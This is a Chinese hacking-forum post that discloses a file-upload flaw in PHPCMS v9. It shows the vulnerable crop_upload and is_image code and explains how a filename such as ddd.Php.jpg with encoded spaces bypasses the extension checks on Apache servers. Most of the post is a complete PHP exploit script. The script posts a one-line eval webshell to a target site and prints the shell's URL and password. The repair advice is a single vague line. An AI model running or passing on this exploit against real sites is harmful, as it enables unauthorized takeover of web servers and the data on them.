找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2070|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行5 ~2 I8 G7 Q/ q# m
+ n% H* q3 e, F/ Y1 y  e7 E
简要描述:
4 L$ q$ q9 e1 Z
! D3 ]3 k( E4 p: P/ yphpcms v9 getshell (apache)
; r' j4 v6 m9 x* l7 s详细说明:! A) }4 a" w3 S3 `8 e5 [; {, c

4 i" A7 a( \: f6 j漏洞文件:phpcms\modules\attachment\attachments.php  @0 [6 I- n; y
. \. k- d, V  v
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
* L# T; @7 C3 z后缀检测:phpcms\modules\attachment\functions\global.func.php* b8 i* u2 I. e' _: t

1 j! r9 @; s3 l+ Q2 Z7 \4 q / }9 i1 D' q3 L, _$ s% f7 [
9 x- P$ k+ j1 p9 F' {8 b) O, l
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  ( {/ W  ^) J6 Z0 `+ s
& [6 }0 H* D( q3 H7 a- G5 v
关键函数:
5 G+ @; S& O7 n/ o5 n7 F; j$ S/ X: F0 T- z! h8 p
) R/ Q# F" e# G! `9 ?! H
0 L1 D% d$ [4 U' Q: c% ~. I
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  3 G8 M0 M/ e7 p1 [* q1 K. p0 j3 K8 Y
- O* o2 ^4 E6 z* L5 o' E
  Fileext函数是对文件后缀名的提取。& ]' ?! p$ i5 O8 ~
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
4 j) O& j9 J. N% f# F& B经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。" e/ z- _; }! B# l
我们回到public function crop_upload() 函数中) C& j4 F2 `! ^0 e9 q. f
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();3 v$ q( J+ ^5 U5 u6 l0 g6 z
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
1 m9 t% ]5 M( p8 S% k& m6 |这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。: R" l8 N/ k+ G
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。' ?, j- q/ ]: x3 w! C! E, e
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。6 ^! O# d7 v* ?% u  W# d
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
3 v5 `/ b$ F2 }1 w) `9 [2 K5 m漏洞证明:7 E7 \# k2 d* T- V* ]! X
9 Z, d9 f4 E+ N+ J: N1 T0 y5 ~
exp:
2 g3 e, H' u/ U& v6 G  i
& K4 ?3 d" g; x+ ^8 x: M<?php
3 l" a1 e8 e, i, jerror_reporting(E_ERROR);
( U) b( n$ R0 W" A0 U& R1 bset_time_limit(0);- i  {8 c; e0 s6 U2 I6 ^. a' s
$pass="ln";
# ?- P. K; A0 G, E9 B1 U/ kprint_r('
/ o  y# D  g, b8 X+---------------------------------------------------------------------------+6 q- l/ n: ^: |$ p& o" o  D
PHPCms V9 GETSHELL 0DAY 6 v7 s! O8 g! o3 o( C9 o4 Y5 E7 \
code by L.N.
! P1 B# K1 r7 q' Z
" V( X. M6 A& G2 m) d* Napache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
5 j( e# M, v# }4 _8 j" u+ U2 u  d+---------------------------------------------------------------------------+  n1 j& h, O4 P4 R( |
');% C7 N, L+ [% Y/ l6 @" z
if ($argc < 2) {% g0 V8 D3 o/ |* Z$ N+ T
print_r('  D+ u, f$ P1 a
+---------------------------------------------------------------------------+, K, n: U; ~: M9 l% s8 K% G
Usage: php '.$argv[0].' url path
& m- Q- h; }( y2 X
  z. [3 `. }" B9 QExample:
8 N2 D" ^- b8 [- S  H+ l. }1.php '.$argv[0].' lanu.sinaapp.com
$ j5 I0 l) G- [4 t4 ]8 I2.php '.$argv[0].' lanu.sinaapp.com /phpcms8 v8 j  E% k* q5 ?% m) m
+---------------------------------------------------------------------------+
+ _+ Z. ^- i1 M! F2 }5 E/ z0 c8 h5 v! s');
8 c6 w& h1 J! u; mexit;4 r8 P' {8 m" c; f& a6 K) K- |
}
& j" u3 ?* o  E5 h1 T; B2 Q8 B! I$ d) @& o7 L( `
$url = $argv[1];
: H5 Y# h2 D  Y$path = $argv[2];  {/ R9 [! ?* ~- }/ V
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
& `" u- V* r1 k' F4 y8 Q' {6 Q1 k( S$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';  u- e+ P8 ^9 o$ L
if($ret=Create_dir($url,$path))
, Q9 o! y& n4 m# V( z! G8 I{) p/ x" f/ ^, h3 G# N% D. K/ l
//echo $ret;
. P3 ^( y/ X, ?; j3 o% N" c$pattern = "|Server:[^,]+?|U";8 G$ \5 Q2 n: v% @& n1 P+ Y$ F
preg_match_all($pattern, $ret, $matches);+ T9 D) x  q% a# D
if($matches[0][0])
0 M3 q: o* M6 s: G{! Q) z' R6 L  m" U6 @' U
if(strpos($matches[0][0],'Apache') == false)5 L% W) T, s! l" G2 N9 P1 m$ l
{
: ]$ G4 R3 C; k& recho "\n亲!此网站不是apache的网站。\n";exit;; C# z, P9 L6 P* p+ {( E1 f
}, D. f( l' E. P. g7 j9 A
}
* R4 f5 s0 L8 g& v+ n4 r$ret = GetShell($url,$phpshell,$path,$file);# w  c/ M9 t$ O9 S
$pattern = "|http:\/\/[^,]+?\.,?|U";
* ?! t+ u3 T- K2 q0 bpreg_match_all($pattern, $ret, $matches);: Q" E; n& g9 q1 o! _' A
if($matches[0][0])
" e" s& {1 n% Q) h0 t1 I{( v" W7 Y5 y/ O+ J! ]
echo "\n".'密码为: '.$pass."\n";1 B$ C5 D! |: x2 M$ L  i; Y
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
1 j. A" u: a7 F. Q}# R  [) E: {' Z" y+ u
else# c  l4 F* ?, x
{' E1 Y0 a' `7 k
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
4 A0 X: N, p. e- q- f# E; ?preg_match_all($pattern, $ret, $matches);+ r1 R9 ?' _! n* M9 S5 ^
if($matches[0][0])- G* m% A; a' |; @' A  N
{
, s8 R- B& U3 e" u0 Y" o% Techo "\n".'密码为: '.$pass."\n";
' A+ M! s  h' {/ zecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
2 l* s: }4 r! g0 v7 I4 [3 G" ~}
4 Q& Y# K6 r# z8 C& @, w8 @  pelse6 Y5 J6 l6 A2 d( D( F5 }
{
2 U9 n  @" n* V' ?4 B( }$ h, Y% [echo "\r\n没得到!\n";exit;
; }0 b; v! a$ O& [' r}# q0 Z. s8 i, k0 v; w9 `
}: I* c) _. k2 N: A  U% r, T: o- t
}
6 c7 O' c9 u* T' V/ d! F* c4 N. l# y! Y; \! K0 y/ L
function GetShell($url,$shell,$path,$js)
, |/ N( |* E9 q$ \; i# [# C$ \{+ u/ q% Z- |6 K; q8 _0 U0 c
$content =$shell;
' d9 u! |. ~2 b7 q  z8 ?0 g$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
- ^+ S( y3 }9 J9 q$data .= "Host: ".$url."\r\n";
& x1 R' m7 Y% \5 j/ E) y$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
) q/ Z* v8 ?0 j' R2 a$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";3 ]+ P# L$ g  E9 h4 p
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";/ r( s7 H8 o5 L" V- c4 M6 k
$data .= "Connection: close\r\n";& ^: h( D$ @$ |% o
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
+ M5 y4 Z0 U6 P2 B% H9 O8 c' D+ A: E$data .= $content."\r\n";
0 X! I: h1 p) z3 Z$ock=fsockopen($url,80);
$ M1 a) f& W9 n  ]- j9 \* Oif (!$ock)
0 a+ q) t+ {. y9 K- n; q{
! [5 l- G9 k9 J- fecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;) b) E0 y8 ^# Y: ~9 E
}" w0 v5 K. C) {- z; W* V) v5 ~% Q
else
- w' i; q: s; o% I# j3 a{! W$ L' }$ N  W" p2 _, f: T
fwrite($ock,$data);
* H' k( o7 I; Q, c$resp = '';
/ }8 L$ p# |, e5 fwhile (!feof($ock))& a& u; w6 `4 B) N: K
{+ e7 u" M' t  |& `
$resp.=fread($ock, 1024);# J# n0 f( S0 Z
}& I6 H# a2 ^/ d  M
return $resp;
) w' A, N: Z0 I9 e0 O0 u9 z1 Y  t8 ]}5 J6 R: a% H# d  l5 V
}
$ X( x3 A: Q# }* k
" I0 M1 n, x: v8 u/ Nfunction Create_dir($url,$path='')
' s( X% @1 C7 M/ Y) K4 n9 |: @+ Z{
1 n/ W5 f2 L+ G$ L3 ^$content ='I love you';
/ w8 n. [* h% C$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";0 S/ R3 y' j' Z+ L, f
$data .= "Host: ".$url."\r\n";' W+ c: s% f- [
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";/ W! |9 I6 E( e8 L8 E/ T/ B5 x
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";' O: |/ O; N; `+ n* ^
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
, \5 M/ M+ t+ \; c3 g$data .= "Connection: close\r\n";# ~% {" N1 _$ l' u0 J4 r8 s
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
: v% f: R5 H5 s1 y$data .= $content."\r\n";
# h8 P# ?) v( F) H) j* y$ock=fsockopen($url,80);
6 Y" G6 p8 v: \  z# n$ T9 bif (!$ock)
% g" u8 z8 E' F, _, z, s: s; O{! K  B: W* Y9 y" J7 `5 K7 t2 |
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
6 T, E% f3 e: W7 e0 R$ z6 C}
2 Q, I% l& R4 }9 Qfwrite($ock,$data);
" _& D/ v3 ^6 X& i$resp = '';5 q7 G/ P: t7 U5 }2 V
while (!feof($ock))
& l* G, h9 L( z$ k$ y$ s{; j0 ]% d. k! U- ]  m( n
$resp.=fread($ock, 1024);
+ s. c, Q' }+ z# n8 Z$ |$ e}- r( W# F5 ?- T7 b- f2 |* I
return $resp;
' c; p. Z3 C8 J" }* y0 K}
6 N" U0 A4 c3 P0 p. I$ D?> 7 ]2 C7 ]3 G2 F0 p& e3 O7 O

" G! t3 b  V* J3 M2 R( l修复方案:/ O! u4 Y7 }6 n" h9 X

) v% W- m+ }) d6 \过滤过滤再过滤
' f9 r) F% ~$ O' x
% f' d# q: ?1 f2 N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表